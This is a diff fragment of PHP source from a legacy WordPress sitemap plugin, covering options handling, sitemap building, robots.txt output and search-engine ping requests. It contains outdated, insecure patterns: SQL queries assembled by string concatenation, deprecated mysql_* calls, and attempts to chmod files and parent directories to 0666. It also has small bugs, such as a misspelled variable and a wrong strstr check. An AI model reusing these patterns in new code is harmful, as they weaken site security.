+	 * @param bool $forceAuto Force the return value to the autodetected value.
+	 * @return The URL to the Sitemap file
+	*/
+	function GetXmlUrl($forceAuto=false) {
+		
+		if(!$forceAuto && $this->GetOption("b_location_mode")=="manual") {
+			return $this->GetOption("b_fileurl_manual");
+		} else {
+			return trailingslashit(get_bloginfo('siteurl')). $this->GetOption("b_filename");
+		}
+	}
+
+	/**
+	 * Returns the URL for the gzipped sitemap file
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param bool $forceAuto Force the return value to the autodetected value.
+	 * @return The URL to the gzipped Sitemap file
+	*/
+	function GetZipUrl($forceAuto=false) {
+		return $this->GetXmlUrl($forceAuto) . ".gz";
+	}
+	
+	/**
+	 * Returns the file system path to the sitemap file
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param bool $forceAuto Force the return value to the autodetected value.
+	 * @return The file system path;
+	*/
+	function GetXmlPath($forceAuto=false) {
+		if(!$forceAuto && $this->GetOption("b_location_mode")=="manual") {
+			return $this->GetOption("b_filename_manual");
+		} else {
+			return $this->GetHomePath()  . $this->GetOption("b_filename");
+		}
+	}
+	
+	/**
+	 * Returns the file system path to the gzipped sitemap file
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param bool $forceAuto Force the return value to the autodetected value.
+	 * @return The file system path;
+	*/
+	function GetZipPath($forceAuto=false) {
+		return $this->GetXmlPath($forceAuto) . ".gz";
+	}
+	
+	/**
+	 * Returns the option value for the given key
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $key string The Configuration Key
+	 * @return mixed The value
+	 */
+	function GetOption($key) {
+		$key="sm_" . $key;
+		if(array_key_exists($key,$this->_options)) {
+			return $this->_options[$key];
+		} else return null;
+	}
+	
+	/**
+	 * Sets an option to a new value
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $key string The configuration key
+	 * @param $value mixed The new object
+	 */
+	function SetOption($key,$value) {
+		if(strstr($key,"sm_")!==0) $key="sm_" . $key;
+		
+		$this->_options[$key]=$value;
+	}
+	
+	/**
+	 * Saves the options back to the database
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return bool true on success
+	 */
+	function SaveOptions() {
+		$oldvalue = get_option("sm_options");
+		if($oldvalue == $this->_options) {
+			return true;
+		} else return update_option("sm_options",$this->_options);
+	}
+	
+	/**
+	 * Retrieves the number of comments of a post in a asso. array
+	 * The key is the postID, the value the number of comments
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @return array An array with postIDs and their comment count
+	 */
+	function GetComments() {
+		global $wpdb;
+		$comments=array();
+
+		//Query comments and add them into the array
+		$commentRes=$wpdb->get_results("SELECT `comment_post_ID` as `post_id`, COUNT(comment_ID) as `comment_count` FROM `" . $wpdb->comments . "` WHERE `comment_approved`='1' GROUP BY `comment_post_ID`");
+		if($commentRes) {
+			foreach($commentRes as $comment) {
+				$comments[$comment->post_id]=$comment->comment_count;
+			}
+		}
+		return $comments;
+	}
+	
+	/**
+	 * Calculates the full number of comments from an sm_getComments() generated array
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $comments array The Array with posts and c0mment count
+	 * @see sm_getComments
+	 * @return The full number of comments
+	 */
+	function GetCommentCount($comments) {
+		$commentCount=0;
+		foreach($comments AS $k=>$v) {
+			$commentCount+=$v;
+		}
+		return $commentCount;
+	}
+	
+	/**
+	 * Adds a url to the sitemap. You can use this method or call AddElement directly.
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold
+	 * @param $loc string The location (url) of the page
+	 * @param $lastMod int The last Modification time as a UNIX timestamp
+	 * @param $changeFreq string The change frequenty of the page, Valid values are "always", "hourly", "daily", "weekly", "monthly", "yearly" and "never".
+	 * @param $priorty float The priority of the page, between 0.0 and 1.0
+	 * @see AddElement
+	 * @return string The URL node
+	 */
+	function AddUrl($loc, $lastMod = 0, $changeFreq = "monthly", $priority = 0.5) {
+		//Strip out the last modification time if activated
+		if($this->GetOption('in_lastmod')===false) $lastMod = 0;
+		$page = new GoogleSitemapGeneratorPage($loc, $priority, $changeFreq, $lastMod);
+		
+		$this->AddElement($page);
+	}
+	
+	/**
+	 * Adds an element to the sitemap
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 * @param $page The element
+	 */
+	function AddElement(&$page) {
+		if(empty($page)) return;
+		
+		$s = $page->Render();
+		
+		if($this->_fileZipHandle && $this->IsGzipEnabled()) {
+			gzwrite($this->_fileZipHandle,$s);
+		}
+		
+		if($this->_fileHandle && $this->GetOption("b_xml")) {
+			fwrite($this->_fileHandle,$s);
+		}
+	}
+	
+	/**
+	 * Checks if a file is writable and tries to make it if not.
+	 *
+	 * @since 3.05b
+	 * @access private
+	 * @author  VJTD3 <http://www.VJTD3.com>
+	 * @return bool true if writable
+	 */
+	function IsFileWritable($filename) {
+		//can we write?
+		if(!is_writable($filename)) {
+			//no we can't.
+			if(!@chmod($filename, 0666)) {
+				$pathtofilename = dirname($filename);
+				//Lets check if parent directory is writable.
+				if(!is_writable($pathtofilename)) {
+					//it's not writeable too.
+					if(!@chmod($pathtoffilename, 0666)) {
+						//darn couldn't fix up parrent directory this hosting is foobar.
+						//Lets error because of the permissions problems.
+						return false;
+					}
+				}
+			}
+		}
+		//we can write, return 1/true/happy dance.
+		return true;
+	}
+	
+	function DoRobots() {
+		$this->Initate();
+		if($this->GetOption('b_robots') === true) {
+
+			$smUrl = $this->GetXmlUrl();
+			if($this->IsGzipEnabled()) {
+				$smUrl = $this->GetZipUrl();
+			}
+			
+			echo  "\nSitemap: " . $smUrl . "\n";
+			
+		}
+	}
+	
+	/**
+	 * Builds the sitemap and writes it into a xml file.
+	 *
+	 * @since 3.0
+	 * @access public
+	 * @author Arne Brachhold <himself [at] arnebrachhold [dot] de>
+	 * @return array An array with messages such as failed writes etc.
+	 */
+	function BuildSitemap() {
+		global $wpdb, $posts, $wp_version;
+		$this->Initate();
+		
+		if($this->GetOption("b_memory")!='') {
+			@ini_set("memory_limit",$this->GetOption("b_memory"));
+		}
+		
+		if($this->GetOption("b_time")!=-1) {
+			@set_time_limit($this->GetOption("b_time"));
+		}
+		
+		//This object saves the status information of the script directly to the database
+		$status = new GoogleSitemapGeneratorStatus();
+		
+		//Other plugins can detect if the building process is active
+		$this->_isActive = true;
+		
+		//$this->AddElement(new GoogleSitemapGeneratorXmlEntry());
+		
+		//Debug mode?
+		$debug=$this->GetOption("b_debug");
+		
+		if($this->GetOption("b_xml")) {
+			$fileName = $this->GetXmlPath();
+			$status->StartXml($this->GetXmlPath(),$this->GetXmlUrl());
+			
+			if($this->IsFileWritable($fileName)) {
+				
+				$this->_fileHandle = fopen($fileName,"w");
+				if(!$this->_fileHandle) $status->EndXml(false,"Not openable");
+				
+			} else $status->EndXml(false,"not writable");
+		}
+		
+		//Write gzipped sitemap file
+		if($this->IsGzipEnabled()) {
+			$fileName = $this->GetZipPath();
+			$status->StartZip($this->GetZipPath(),$this->GetZipUrl());
+			
+			if($this->IsFileWritable($fileName)) {
+				
+				$this->_fileZipHandle = gzopen($fileName,"w1");
+				if(!$this->_fileZipHandle) $status->EndZip(false,"Not openable");
+				
+			} else $status->EndZip(false,"not writable");
+		}
+		
+		if(!$this->_fileHandle && !$this->_fileZipHandle) {
+			$status->End();
+			return;
+		}
+		
+		
+		//Content of the XML file
+		$this->AddElement(new GoogleSitemapGeneratorXmlEntry('<?xml version="1.0" encoding="UTF-8"' . '?' . '>'));
+		
+		$styleSheet = ($this->GetDefaultStyle() && $this->GetOption('b_style_default')===true?$this->GetDefaultStyle():$this->GetOption('b_style'));
+		
+		if(!empty($styleSheet)) {
+			$this->AddElement(new GoogleSitemapGeneratorXmlEntry('<' . '?xml-stylesheet type="text/xsl" href="' . $styleSheet . '"?' . '>'));
+		}
+		
+		$this->AddElement(new GoogleSitemapGeneratorDebugEntry("generator=\"wordpress/" . get_bloginfo('version') . "\""));
+		$this->AddElement(new GoogleSitemapGeneratorDebugEntry("sitemap-generator-url=\"http://www.arnebrachhold.de\" sitemap-generator-version=\"" . $this->GetVersion() . "\""));
+		$this->AddElement(new GoogleSitemapGeneratorDebugEntry("generated-on=\"" . date(get_option("date_format") . " " . get_option("time_format")) . "\""));
+		
+		//All comments as an asso. Array (postID=>commentCount)
+		$comments=($this->GetOption("b_prio_provider")!=""?$this->GetComments():array());
+		
+		//Full number of comments
+		$commentCount=(count($comments)>0?$this->GetCommentCount($comments):0);
+		
+		if($debug && $this->GetOption("b_prio_provider")!="") {
+			$this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Total comment count: " . $commentCount));
+		}
+		
+		//Go XML!
+		$this->AddElement(new GoogleSitemapGeneratorXmlEntry('<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'));
+		
+		$home = get_bloginfo('url');
+		
+		$homePid = 0;
+		
+		//Add the home page (WITH a slash!)
+		if($this->GetOption("in_home")) {
+			if('page' == get_option('show_on_front') && get_option('page_on_front')) {
+				$pageOnFront = get_option('page_on_front');
+				$p = get_page($pageOnFront);
+				if($p) {
+					$homePid = $p->ID;
+					$this->AddUrl(trailingslashit($home),$this->GetTimestampFromMySql(($p->post_modified_gmt && $p->post_modified_gmt!='0000-00-00 00:00:00'?$p->post_modified_gmt:$p->post_date_gmt)),$this->GetOption("cf_home"),$this->GetOption("pr_home"));
+				}
+			} else {
+				$this->AddUrl(trailingslashit($home),$this->GetTimestampFromMySql(get_lastpostmodified('GMT')),$this->GetOption("cf_home"),$this->GetOption("pr_home"));
+			}
+		}
+		
+		//Add the posts
+		if($this->GetOption("in_posts") || $this->GetOption("in_pages")) {
+			
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start Postings"));
+		
+			//Pre 2.1 compatibility. 2.1 introduced 'future' as post_status so we don't need to check post_date
+			$wpCompat = (floatval($wp_version) < 2.1);
+			
+			$useQTransLate = false; //function_exists('qtrans_convertURL') && function_exists('qtrans_getEnabledLanguages'); Not really working yet
+			
+			$excludes = $this->GetOption('b_exclude'); //Excluded posts
+			
+			$exclCats = $this->GetOption("b_exclude_cats"); // Excluded cats
+			
+			if($exclCats && count($exclCats)>0 && $this->IsTaxonomySupported()) {
+				
+				$exPosts = get_objects_in_term($exclCats,"category"); // Get all posts in excl. cats
+				
+				if(is_array($exPosts) && count($exPosts) > 0) { //Merge it with the list of user excluded posts
+					$excludes = array_merge($excludes, $exPosts);
+				}
+			}
+			
+	
+			$contentStmt = '';
+			if($useQTransLate) {
+				$contentStmt.=', post_content ';
+			}
+			
+			$postPageStmt = '';
+			
+			$inSubPages = ($this->GetOption('in_posts_sub')===true);
+			
+			if($inSubPages && $this->GetOption('in_posts')===true) {
+				$pageDivider='<!--nextpage-->';
+				$postPageStmt = ", (character_length(`post_content`)  - character_length(REPLACE(`post_content`, '$pageDivider', ''))) / " . strlen($pageDivider) . " as postPages";
+			}
+			
+			$sql="SELECT `ID`, `post_author`, `post_date`, `post_date_gmt`, `post_status`, `post_name`, `post_modified`, `post_modified_gmt`, `post_parent`, `post_type` $postPageStmt $contentStmt FROM `" . $wpdb->posts . "` WHERE ";
+			
+			$where = '(';
+			
+			if($this->GetOption('in_posts')) {
+				//WP < 2.1: posts are post_status = publish
+				//WP >= 2.1: post_type must be 'post', no date check required because future posts are post_status='future'
+				if($wpCompat) $where.="(post_status = 'publish' AND post_date_gmt <= '" . gmdate('Y-m-d H:i:59') . "')";
+				else $where.=" (post_status = 'publish' AND (post_type = 'post' OR post_type = '')) ";
+			}
+			
+			if($this->GetOption('in_pages')) {
+				if($this->GetOption('in_posts')) {
+					$where.=" OR ";
+				}
+				if($wpCompat) {
+					//WP < 2.1: posts have post_status = published, pages have post_status = static
+					$where.=" post_status='static' ";
+				} else {
+					//WP >= 2.1: posts have post_type = 'post' and pages have post_type = 'page'. Both must be published.
+					$where.=" (post_status = 'publish' AND post_type = 'page') ";
+				}
+			}
+			
+			$where.=") ";
+			
+			
+			if(is_array($excludes) && count($excludes)>0) {
+				$where.=" AND ID NOT IN ('" . implode("','",$excludes) . "')";
+			}
+			
+			$where.=" AND post_password='' ORDER BY post_modified DESC";
+			
+			$sql .= $where;
+			
+			if($this->GetOption("b_max_posts")>0) {
+				$sql.=" LIMIT 0," . $this->GetOption("b_max_posts");
+			}
+
+			$postCount = intval($wpdb->get_var("SELECT COUNT(*) AS cnt FROM `" . $wpdb->posts . "` WHERE ". $where,0,0));
+										
+			//Create a new connection because we are using mysql_unbuffered_query and don't want to disturb the WP connection
+			//Safe Mode for other plugins which use mysql_query() without a connection handler and will destroy our resultset :(
+			$con = $postRes = null;
+			
+			//In 2.2, a bug which prevented additional DB connections was fixed
+			if(floatval($wp_version) < 2.2) {
+				$this->SetOption("b_safemode",true);
+			}
+			
+			if($this->GetOption("b_safemode")===true) {
+				$postRes = mysql_query($sql,$wpdb->dbh);
+				if(!$postRes) {
+					trigger_error("MySQL query failed: " . mysql_error(),E_USER_NOTICE); //E_NOTE will be displayed on our debug mode
+					return;
+				}
+			} else {
+				$con = mysql_connect(DB_HOST,DB_USER,DB_PASSWORD,true);
+				if(!$con) {
+					trigger_error("MySQL Connection failed: " . mysql_error(),E_USER_NOTICE);
+					return;
+				}
+				if(!mysql_select_db(DB_NAME,$con)) {
+					trigger_error("MySQL DB Select failed: " . mysql_error(),E_USER_NOTICE);
+					return;
+				}
+				$postRes = mysql_unbuffered_query($sql,$con);
+				
+				if(!$postRes) {
+					trigger_error("MySQL unbuffered query failed: " . mysql_error(),E_USER_NOTICE);
+					return;
+				}
+			}
+			
+			if($postRes) {
+				
+				//#type $prioProvider GoogleSitemapGeneratorPrioProviderBase
+				$prioProvider=NULL;
+				
+				if($this->GetOption("b_prio_provider") != '') {
+					$providerClass=$this->GetOption('b_prio_provider');
+					$prioProvider = new $providerClass($commentCount,$postCount);
+				}
+				
+				//$posts is used by Alex King's Popularity Contest plugin
+				//if($posts == null || !is_array($posts)) {
+				//	$posts = &$postRes;
+				//}
+				
+				$z = 1;
+				$zz = 1;
+				
+				//Default priorities
+				$default_prio_posts = $this->GetOption('pr_posts');
+				$default_prio_pages = $this->GetOption('pr_pages');
+				
+				//Change frequencies
+				$cf_pages = $this->GetOption('cf_pages');
+				$cf_posts = $this->GetOption('cf_posts');
+				
+				$minPrio=$this->GetOption('pr_posts_min');
+				
+			
+				//Cycle through all posts and add them
+				while($post = mysql_fetch_object($postRes)) {
+				
+					//Fill the cache with our DB result. Since it's incomplete (no text-content for example), we will clean it later.
+					$cache = array(&$post);
+					update_post_cache($cache);
+					
+					//Set the current working post for other plugins which depend on "the loop"
+					$GLOBALS['post'] = &$post;
+				
+					$permalink = get_permalink($post->ID);
+					if($permalink != $home && $post->ID != $homePid) {
+								
+						$isPage = false;
+						if($wpCompat) {
+							$isPage = ($post->post_status == 'static');
+						} else {
+							$isPage = ($post->post_type == 'page');
+						}
+						
+					
+						//Default Priority if auto calc is disabled
+						$prio = 0;
+							
+						if($isPage) {
+							//Priority for static pages
+							$prio = $default_prio_pages;
+						} else {
+							//Priority for normal posts
+							$prio = $default_prio_posts;
+						}
+						
+						//If priority calc. is enabled, calculate (but only for posts, not pages)!
+						if($prioProvider !== null && !$isPage) {
+
+							//Comment count for this post
+							$cmtcnt = (isset($comments[$post->ID])?$comments[$post->ID]:0);
+							$prio = $prioProvider->GetPostPriority($post->ID, $cmtcnt, $post);
+
+							if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry('Debug: Priority report of postID ' . $post->ID . ': Comments: ' . $cmtcnt . ' of ' . $commentCount . ' = ' . $prio . ' points'));
+						}
+						
+						if(!$isPage && $minPrio>0 && $prio<$minPrio) {
+							$prio = $minPrio;
+						}
+						
+						//Add it
+						$this->AddUrl($permalink,$this->GetTimestampFromMySql(($post->post_modified_gmt && $post->post_modified_gmt!='0000-00-00 00:00:00'?$post->post_modified_gmt:$post->post_date_gmt)),($isPage?$cf_pages:$cf_posts),$prio);
+						
+						if($inSubPages) {
+							$subPage = '';
+							for($p = 1; $p <= $post->postPages; $p++) {
+								if(get_option('permalink_structure') == '') {
+									$subPage = $permalink . '&amp;page=' . ($p+1);
+								} else {
+									$subPage = trailingslashit($permalink) . user_trailingslashit($p+1, 'single_paged');
+								}
+
+								$this->AddUrl($subPage,$this->GetTimestampFromMySql(($post->post_modified_gmt && $post->post_modified_gmt!='0000-00-00 00:00:00'?$post->post_modified_gmt:$post->post_date_gmt)),($isPage?$cf_pages:$cf_posts),$prio);
+							}
+						}
+						
+						// Multilingual Support with qTranslate, thanks to Qian Qin
+						if($useQTransLate) {
+							global $q_config;
+							foreach(qtrans_getEnabledLanguages($post->post_content) as $language) {
+								if($language!=$q_config['default_language']) {
+									$this->AddUrl(qtrans_convertURL($permalink,$language),$this->GetTimestampFromMySql(($post->post_modified_gmt && $post->post_modified_gmt!='0000-00-00 00:00:00'?$post->post_modified_gmt:$post->post_date_gmt)),($isPage?$cf_pages:$cf_posts),$prio);
+								}
+							}
+						}
+					}
+					
+					//Update the status every 100 posts and at the end.
+					//If the script breaks because of memory or time limit,
+					//we have a "last reponded" value which can be compared to the server settings
+					if($zz==100 || $z == $postCount) {
+						$status->SaveStep($z);
+						$zz=0;
+					} else $zz++;
+					
+					$z++;
+					
+					//Clean cache because it's incomplete
+					if(version_compare($wp_version,"2.5",">=")) {
+						//WP 2.5 makes a mysql query for every clean_post_cache to clear the child cache
+						//so I've copied the function here until a patch arrives...
+						wp_cache_delete($post->ID, 'posts');
+						wp_cache_delete($post->ID, 'post_meta');
+						clean_object_term_cache($post->ID, 'post');
+					} else {
+						clean_post_cache($post->ID);
+					}
+				}
+				unset($postRes);
+				unset($prioProvider);
+				
+				if($this->GetOption("b_safemode")!==true && $con) mysql_close($con);
+			}
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End Postings"));
+		}
+		
+		//Add the cats
+		if($this->GetOption("in_cats")) {
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start Cats"));
+			
+			$exclCats = $this->GetOption("b_exclude_cats"); // Excluded cats
+			if($exclCats == null) $exclCats=array();
+						
+			if(!$this->IsTaxonomySupported()) {
+			
+				$catsRes=$wpdb->get_results("
+							SELECT
+								c.cat_ID AS ID,
+								MAX(p.post_modified_gmt) AS last_mod
+							FROM
+								`" . $wpdb->categories . "` c,
+								`" . $wpdb->post2cat . "` pc,
+								`" . $wpdb->posts . "` p
+							WHERE
+								pc.category_id = c.cat_ID
+								AND p.ID = pc.post_id
+								AND p.post_status = 'publish'
+								AND p.post_type='post'
+							GROUP
+								BY c.cat_id
+							");
+				if($catsRes) {
+					foreach($catsRes as $cat) {
+						if($cat && $cat->ID && $cat->ID>0 && !in_array($cat->ID, $exclCats)) {
+							if($debug) if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Cat-ID:" . $cat->ID));
+							$this->AddUrl(get_category_link($cat->ID),$this->GetTimestampFromMySql($cat->last_mod),$this->GetOption("cf_cats"),$this->GetOption("pr_cats"));
+						}
+					}
+				}
+			} else {
+				$cats = get_terms("category",array("hide_empty"=>true,"hierarchical"=>false));
+				if($cats && is_array($cats) && count($cats)>0) {
+					foreach($cats AS $cat) {
+						if(!in_array($cat->term_id, $exclCats)) $this->AddUrl(get_category_link($cat->term_id),0,$this->GetOption("cf_cats"),$this->GetOption("pr_cats"));
+					}
+				}
+			}
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End Cats"));
+		}
+		
+		//Add the archives
+		if($this->GetOption("in_arch")) {
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start Archive"));
+			$now = current_time('mysql');
+
+			//WP2.1 introduced post_status='future', for earlier WP versions we need to check the post_date_gmt
+			$arcresults = $wpdb->get_results("
+						SELECT DISTINCT
+							YEAR(post_date_gmt) AS `year`,
+							MONTH(post_date_gmt) AS `month`,
+							MAX(post_date_gmt) as last_mod,
+							count(ID) as posts
+						FROM
+							$wpdb->posts
+						WHERE
+							post_date < '$now'
+							AND post_status = 'publish'
+							AND post_type = 'post'
+							" . (floatval($wp_version) < 2.1?"AND {$wpdb->posts}.post_date_gmt <= '" . gmdate('Y-m-d H:i:59') . "'":"") . "
+						GROUP BY
+							YEAR(post_date_gmt),
+							MONTH(post_date_gmt)
+						ORDER BY
+							post_date_gmt DESC");
+			if ($arcresults) {
+				foreach ($arcresults as $arcresult) {
+					
+					$url  = get_month_link($arcresult->year,   $arcresult->month);
+					$changeFreq="";
+					
+					//Archive is the current one
+					if($arcresult->month==date("n") && $arcresult->year==date("Y")) {
+						$changeFreq=$this->GetOption("cf_arch_curr");
+					} else { // Archive is older
+						$changeFreq=$this->GetOption("cf_arch_old");
+					}
+					
+					$this->AddUrl($url,$this->GetTimestampFromMySql($arcresult->last_mod),$changeFreq,$this->GetOption("pr_arch"));
+				}
+			}
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End Archive"));
+		}
+		
+		//Add the author pages
+		if($this->GetOption("in_auth")) {
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start Author pages"));
+			
+			$linkFunc = null;
+			
+			//get_author_link is deprecated in WP 2.1, try to use get_author_posts_url first.
+			if(function_exists('get_author_posts_url')) {
+				$linkFunc = 'get_author_posts_url';
+			} else if(function_exists('get_author_link')) {
+				$linkFunc = 'get_author_link';
+			}
+			
+			//Who knows what happens in later WP versions, so check again if it worked
+			if($linkFunc !== null) {
+			    //Unfortunately there is no API function to get all authors, so we have to do it the dirty way...
+				//We retrieve only users with published and not password protected posts (and not pages)
+				//WP2.1 introduced post_status='future', for earlier WP versions we need to check the post_date_gmt
+				$sql = "SELECT DISTINCT
+							{$wpdb->users}.ID,
+							{$wpdb->users}.user_nicename,
+							MAX({$wpdb->posts}.post_modified_gmt) AS last_post
+						FROM
+							{$wpdb->users},
+							{$wpdb->posts}
+						WHERE
+							{$wpdb->posts}.post_author = {$wpdb->users}.ID
+							AND {$wpdb->posts}.post_status = 'publish'
+							AND {$wpdb->posts}.post_type = 'post'
+							AND {$wpdb->posts}.post_password = ''
+							" . (floatval($wp_version) < 2.1?"AND {$wpdb->posts}.post_date_gmt <= '" . gmdate('Y-m-d H:i:59') . "'":"") . "
+						GROUP BY
+							{$wpdb->users}.ID,
+							{$wpdb->users}.user_nicename";
+							
+				$authors = $wpdb->get_results($sql);
+				
+				if($authors && is_array($authors)) {
+					foreach($authors as $author) {
+						if($debug) if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Author-ID:" . $author->ID));
+						$url = ($linkFunc=='get_author_posts_url'?get_author_posts_url($author->ID,$author->user_nicename):get_author_link(false,$author->ID,$author->user_nicename));
+						$this->AddUrl($url,$this->GetTimestampFromMySql($author->last_post),$this->GetOption("cf_auth"),$this->GetOption("pr_auth"));
+					}
+				}
+			} else {
+				//Too bad, no author pages for you :(
+				if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: No valid author link function found"));
+			}
+	
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End Author pages"));
+		}
+		
+		//Add tag pages
+		if($this->GetOption("in_tags") && $this->IsTaxonomySupported()) {
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start Tags"));
+			$tags = get_terms("post_tag",array("hide_empty"=>true,"hierarchical"=>false));
+			if($tags && is_array($tags) && count($tags)>0) {
+				foreach($tags AS $tag) {
+					$this->AddUrl(get_tag_link($tag->term_id),0,$this->GetOption("cf_tags"),$this->GetOption("pr_tags"));
+				}
+			}
+			if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End Tags"));
+		}
+		
+		//Add the custom pages
+		if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start Custom Pages"));
+		if($this->_pages && is_array($this->_pages) && count($this->_pages)>0) {
+			//#type $page GoogleSitemapGeneratorPage
+			foreach($this->_pages AS $page) {
+				$this->AddUrl($page->GetUrl(),$page->getLastMod(),$page->getChangeFreq(),$page->getPriority());
+			}
+		}
+		
+		if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End Custom Pages"));
+		
+		if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: Start additional URLs"));
+		
+		do_action("sm_buildmap");
+		
+		if($debug) $this->AddElement(new GoogleSitemapGeneratorDebugEntry("Debug: End additional URLs"));
+		
+		$this->AddElement(new GoogleSitemapGeneratorXmlEntry("</urlset>"));
+		
+
+		$pingUrl='';
+		
+		if($this->GetOption("b_xml")) {
+			if($this->_fileHandle && fclose($this->_fileHandle)) {
+				$this->_fileHandle = null;
+				$status->EndXml(true);
+				$pingUrl=$this->GetXmlUrl();
+			} else $status->EndXml(false,"Could not close the sitemap file.");
+		}
+		
+		if($this->IsGzipEnabled()) {
+			if($this->_fileZipHandle && fclose($this->_fileZipHandle)) {
+				$this->_fileZipHandle = null;
+				$status->EndZip(true);
+				$pingUrl=$this->GetZipUrl();
+			} else $status->EndZip(false,"Could not close the zipped sitemap file");
+		}
+		
+		//Ping Google
+		if($this->GetOption("b_ping") && !empty($pingUrl)) {
+			$sPingUrl="http://www.google.com/webmasters/sitemaps/ping?sitemap=" . urlencode($pingUrl);
+			$status->StartGooglePing($sPingUrl);
+			$pingres=$this->RemoteOpen($sPingUrl);
+									  
+			if($pingres==NULL || $pingres===false) {
+				$status->EndGooglePing(false,$this->_lastError);
+				trigger_error("Failed to ping Google: " . htmlspecialchars(strip_tags($pingres)),E_USER_NOTICE);
+			} else {
+				$status->EndGooglePing(true);
+			}
+		}
+				
+		//Ping Ask.com
+		if($this->GetOption("b_pingask") && !empty($pingUrl)) {
+			$sPingUrl="http://submissions.ask.com/ping?sitemap=" . urlencode($pingUrl);
+			$status->StartAskPing($sPingUrl);
+			$pingres=$this->RemoteOpen($sPingUrl);
+									  
+			if($pingres==NULL || $pingres===false || strpos($pingres,"successfully received and added")===false) { //Ask.com returns 200 OK even if there was an error, so we need to check the content.
+				$status->EndAskPing(false,$this->_lastError);
+				trigger_error("Failed to ping Ask.com: " . htmlspecialchars(strip_tags($pingres)),E_USER_NOTICE);
+			} else {
+				$status->EndAskPing(true);
+			}
+		}
+		
+		//Ping YAHOO
+		if($this->GetOption("b_pingyahoo")===true && $this->GetOption("b_yahookey")!="" && !empty($pingUrl)) {
+			$sPingUrl="http://search.yahooapis.com/SiteExplorerService/V1/updateNotification?appid=" . $this->GetOption("b_yahookey") . "&url=" . urlencode($pingUrl);
+			$status->StartYahooPing($sPingUrl);
+			$pingres=$this->RemoteOpen($sPingUrl);
+
+			if($pingres==NULL || $pingres===false || strpos(strtolower($pingres),"success")===false) {
+				trigger_error("Failed to ping YAHOO: " . htmlspecialchars(strip_tags($pingres)),E_USER_NOTICE);
+				$status->EndYahooPing(false,$this->_lastError);
+			} else {
+				$status->EndYahooPing(true);
+			}
+		}
+		
+		//Ping Bing
+		if($this->GetOption("b_pingmsn") && !empty($pingUrl)) {
+			$sPingUrl="http://www.bing.com/webmaster/ping.aspx?siteMap=" . urlencode($pingUrl);
+			$status->StartMsnPing($sPingUrl);
+			$pingres=$this->RemoteOpen($sPingUrl);
+									  
+			if($pingres==NULL || $pingres===false || strpos($pingres,"Thanks for submitting your sitemap")===false) {
+				trigger_error("Failed to ping Bing: " . htmlspecialchars(strip_tags($pingres)),E_USER_NOTICE);
+				$status->EndMsnPing(false,$this->_lastError);
+			} else {
+				$status->EndMsnPing(true);
+			}
+		}
+	
+		$status->End();
+		
+		
+		$this->_isActive = false;
+	
+		//done...
+		return $status;
+	}
+	
+	function RemoteOpen($url,$method = 'get', $postData = null, $timeout = 10) {
+		global $wp_version;
+		
+		//Before WP 2.7, wp_remote_fopen was quite crappy so Snoopy was favoured.
+		if(floatval($wp_version) < 2.7) {
+			if(!file_exists(ABSPATH . 'wp-includes/class-snoopy.php')) {
+				trigger_error('Snoopy Web Request failed: Snoopy not found.',E_USER_NOTICE);
+				return false; //Hoah?
+			}
+			
+			require_once( ABSPATH . 'wp-includes/class-snoopy.php');
+			
+			$s = new Snoopy();
+			
+			$s->read_timeout = $timeout;
+			
+			if($method == 'get') {
+				$s->fetch($url);
+			} else {
+				$s->submit($url,$postData);
+			}
+			
+			if($s->status != "200") trigger_error('Snoopy Web Request failed: Status: ' . $s->status . "; Content: " . htmlspecialchars($s->results),E_USER_NOTICE);
+			
+			return $s->results;
+	
+		} else {
+			
+			$options = array();
+			$options['timeout'] = $timeout;
+			
+			if($method == 'get') {
+				$response = wp_remote_get( $url, $options );
+			} else {
+				$response = wp_remote_post($url, array_merge($options,array('body'=>$postData)));
+			}
+			
+			if ( is_wp_error( $response ) ) {
+				$errs = $response->get_error_messages();
+				$errs = htmlspecialchars(implode('; ', $errs));
+				trigger_error('WP HTTP API Web Request failed: ' . $errs,E_USER_NOTICE);
+				return false;
+			}
+		
+			return $response['body'];
+		}
+		
+		return false;
+	}
+
+	/**
+	 * Tracks the last error (gets called by PHP)
+	 *
+	 * @since 3.0
+	 * @access private
+	 * @author Arne Brachhold
+	 */
+	function TrackError($log_level, $log_text, $error_file, $error_line) {
+		$this->_lastError = $log_text;
+	}
+	
+	/**
